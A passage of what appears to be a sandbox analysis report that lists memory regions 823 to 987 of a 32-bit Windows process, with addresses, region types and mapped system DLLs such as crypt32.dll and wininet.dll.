	              id = 823
	        start_va = 0x75080000
	          end_va = 0x750c3fff
	     entry_point = 0x75080000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")

Region:
	              id = 824
	        start_va = 0x778a0000
	          end_va = 0x7792cfff
	     entry_point = 0x778a0000
	     region_type = mapped_file
	            name = "shcore.dll"
	        filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll")

Region:
	              id = 825
	        start_va = 0x777f0000
	          end_va = 0x77833fff
	     entry_point = 0x777f0000
	     region_type = mapped_file
	            name = "powrprof.dll"
	        filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll")

Region:
	              id = 826
	        start_va = 0x75070000
	          end_va = 0x7507efff
	     entry_point = 0x75070000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll")

Region:
	              id = 827
	        start_va = 0x74eb0000
	          end_va = 0x75024fff
	     entry_point = 0x74eb0000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll")

Region:
	              id = 828
	        start_va = 0x77ae0000
	          end_va = 0x77aedfff
	     entry_point = 0x77ae0000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll")

Region:
	              id = 829
	        start_va = 0x74820000
	          end_va = 0x74a43fff
	     entry_point = 0x74820000
	     region_type = mapped_file
	            name = "wininet.dll"
	        filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll")

Region:
	              id = 830
	        start_va = 0x773d0000
	          end_va = 0x773d5fff
	     entry_point = 0x773d0000
	     region_type = mapped_file
	            name = "psapi.dll"
	        filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")

Region:
	              id = 831
	        start_va = 0x60000
	          end_va = 0x60fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000060000"
	        filename = ""

Region:
	              id = 832
	        start_va = 0xe00000
	          end_va = 0xe3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000e00000"
	        filename = ""

Region:
	              id = 833
	        start_va = 0x2440000
	          end_va = 0x253ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 834
	        start_va = 0x7ffd5000
	          end_va = 0x7ffd7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffd5000"
	        filename = ""

Region:
	              id = 835
	        start_va = 0x70000
	          end_va = 0x70fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000070000"
	        filename = ""

Region:
	              id = 836
	        start_va = 0x80000
	          end_va = 0x80fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000080000"
	        filename = ""

Region:
	              id = 837
	        start_va = 0x80000
	          end_va = 0x80fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000080000"
	        filename = ""

Region:
	              id = 838
	        start_va = 0x90000
	          end_va = 0x90fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000090000"
	        filename = ""

Region:
	              id = 839
	        start_va = 0x60000
	          end_va = 0x9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000060000"
	        filename = ""

Region:
	              id = 840
	        start_va = 0xa0000
	          end_va = 0x19ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000a0000"
	        filename = ""

Region:
	              id = 841
	        start_va = 0x7ffdb000
	          end_va = 0x7ffddfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffdb000"
	        filename = ""

Region:
	              id = 842
	        start_va = 0x2770000
	          end_va = 0x286ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002770000"
	        filename = ""

Region:
	              id = 843
	        start_va = 0xe40000
	          end_va = 0xe40fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000e40000"
	        filename = ""

Region:
	              id = 844
	        start_va = 0xe40000
	          end_va = 0xe40fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000e40000"
	        filename = ""

Region:
	              id = 845
	        start_va = 0xe40000
	          end_va = 0xe40fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000e40000"
	        filename = ""

Region:
	              id = 846
	        start_va = 0xe40000
	          end_va = 0xe40fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000e40000"
	        filename = ""

Region:
	              id = 847
	        start_va = 0xe40000
	          end_va = 0xe40fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000e40000"
	        filename = ""

Region:
	              id = 848
	        start_va = 0xe40000
	          end_va = 0xe40fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000e40000"
	        filename = ""

Region:
	              id = 849
	        start_va = 0xe40000
	          end_va = 0xe40fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000e40000"
	        filename = ""

Region:
	              id = 850
	        start_va = 0xe40000
	          end_va = 0xe40fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000e40000"
	        filename = ""

Region:
	              id = 851
	        start_va = 0x74800000
	          end_va = 0x74812fff
	     entry_point = 0x74800000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll")

Region:
	              id = 852
	        start_va = 0x747d0000
	          end_va = 0x747fefff
	     entry_point = 0x747d0000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll")

Region:
	              id = 853
	        start_va = 0xe50000
	          end_va = 0xe50fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000e50000"
	        filename = ""

Region:
	              id = 854
	        start_va = 0xe50000
	          end_va = 0xe50fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000e50000"
	        filename = ""

Region:
	              id = 855
	        start_va = 0xe50000
	          end_va = 0xe50fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000e50000"
	        filename = ""

Region:
	              id = 856
	        start_va = 0xe50000
	          end_va = 0xe50fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000e50000"
	        filename = ""

Region:
	              id = 857
	        start_va = 0xe50000
	          end_va = 0xe50fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000e50000"
	        filename = ""

Region:
	              id = 858
	        start_va = 0xe50000
	          end_va = 0xe89fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000e50000"
	        filename = ""

Region:
	              id = 859
	        start_va = 0xe90000
	          end_va = 0xe90fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000e90000"
	        filename = ""

Region:
	              id = 860
	        start_va = 0xe90000
	          end_va = 0xe90fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000e90000"
	        filename = ""

Region:
	              id = 861
	        start_va = 0xe90000
	          end_va = 0xe90fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000e90000"
	        filename = ""

Region:
	              id = 862
	        start_va = 0xe50000
	          end_va = 0xe50fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000e50000"
	        filename = ""

Region:
	              id = 863
	        start_va = 0x60000
	          end_va = 0x6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000060000"
	        filename = ""

Region:
	              id = 864
	        start_va = 0x60000
	          end_va = 0x73fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000060000"
	        filename = ""

Region:
	              id = 865
	        start_va = 0x80000
	          end_va = 0x87fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000080000"
	        filename = ""

Region:
	              id = 866
	        start_va = 0x60000
	          end_va = 0x60fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000060000"
	        filename = ""

Region:
	              id = 867
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 868
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 869
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 870
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 871
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 872
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 873
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 874
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 875
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 876
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 877
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 878
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 879
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 880
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 881
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 882
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 883
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 884
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 885
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 886
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 887
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 888
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 889
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 890
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 891
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 892
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 893
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 894
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 895
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 896
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 897
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 898
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 899
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 900
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 901
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 902
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 903
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 904
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 905
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 906
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 907
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 908
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 909
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 910
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 911
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 912
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 913
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 914
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 915
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 916
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 917
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 918
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 919
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 920
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 921
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 922
	        start_va = 0x70000
	          end_va = 0x77fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 923
	        start_va = 0x60000
	          end_va = 0x60fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000060000"
	        filename = ""

Region:
	              id = 924
	        start_va = 0x70000
	          end_va = 0x70fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000070000"
	        filename = ""

Region:
	              id = 925
	        start_va = 0x80000
	          end_va = 0x80fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000080000"
	        filename = ""

Region:
	              id = 926
	        start_va = 0x80000
	          end_va = 0x80fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000080000"
	        filename = ""

Region:
	              id = 927
	        start_va = 0x90000
	          end_va = 0x90fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000090000"
	        filename = ""

Region:
	              id = 928
	        start_va = 0x90000
	          end_va = 0x90fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000090000"
	        filename = ""

Region:
	              id = 929
	        start_va = 0x60000
	          end_va = 0x60fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000060000"
	        filename = ""

Region:
	              id = 930
	        start_va = 0x70000
	          end_va = 0x70fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000070000"
	        filename = ""

Region:
	              id = 931
	        start_va = 0x80000
	          end_va = 0x89fff
	     entry_point = 0x80000
	     region_type = mapped_file
	            name = "crypt32.dll.mui"
	        filename = "\\Windows\\SysWOW64\\en-US\\crypt32.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\crypt32.dll.mui")

Region:
	              id = 932
	        start_va = 0xa0000
	          end_va = 0xa0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000a0000"
	        filename = ""

Region:
	              id = 933
	        start_va = 0xb0000
	          end_va = 0xb0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000b0000"
	        filename = ""

Region:
	              id = 934
	        start_va = 0xa0000
	          end_va = 0xa0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000a0000"
	        filename = ""

Region:
	              id = 935
	        start_va = 0xa0000
	          end_va = 0xa0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000a0000"
	        filename = ""

Region:
	              id = 936
	        start_va = 0xa0000
	          end_va = 0xa0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000a0000"
	        filename = ""

Region:
	              id = 937
	        start_va = 0xc0000
	          end_va = 0xc0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000c0000"
	        filename = ""

Region:
	              id = 938
	        start_va = 0xd0000
	          end_va = 0xd0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000d0000"
	        filename = ""

Region:
	              id = 939
	        start_va = 0xe0000
	          end_va = 0xe0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000e0000"
	        filename = ""

Region:
	              id = 940
	        start_va = 0xf0000
	          end_va = 0xf0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000f0000"
	        filename = ""

Region:
	              id = 941
	        start_va = 0x100000
	          end_va = 0x100fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000100000"
	        filename = ""

Region:
	              id = 942
	        start_va = 0xf0000
	          end_va = 0xf0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000f0000"
	        filename = ""

Region:
	              id = 943
	        start_va = 0x110000
	          end_va = 0x110fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000110000"
	        filename = ""

Region:
	              id = 944
	        start_va = 0x120000
	          end_va = 0x120fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000120000"
	        filename = ""

Region:
	              id = 945
	        start_va = 0x130000
	          end_va = 0x130fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000130000"
	        filename = ""

Region:
	              id = 946
	        start_va = 0x140000
	          end_va = 0x14ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 947
	        start_va = 0x140000
	          end_va = 0x153fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 948
	        start_va = 0x160000
	          end_va = 0x167fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000160000"
	        filename = ""

Region:
	              id = 949
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 950
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 951
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 952
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 953
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 954
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 955
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 956
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 957
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 958
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 959
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 960
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 961
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 962
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 963
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 964
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 965
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 966
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 967
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 968
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 969
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 970
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 971
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 972
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 973
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 974
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 975
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 976
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 977
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 978
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 979
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 980
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 981
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 982
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 983
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 984
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 985
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 986
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""

Region:
	              id = 987
	        start_va = 0x140000
	          end_va = 0x147fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000140000"
	        filename = ""
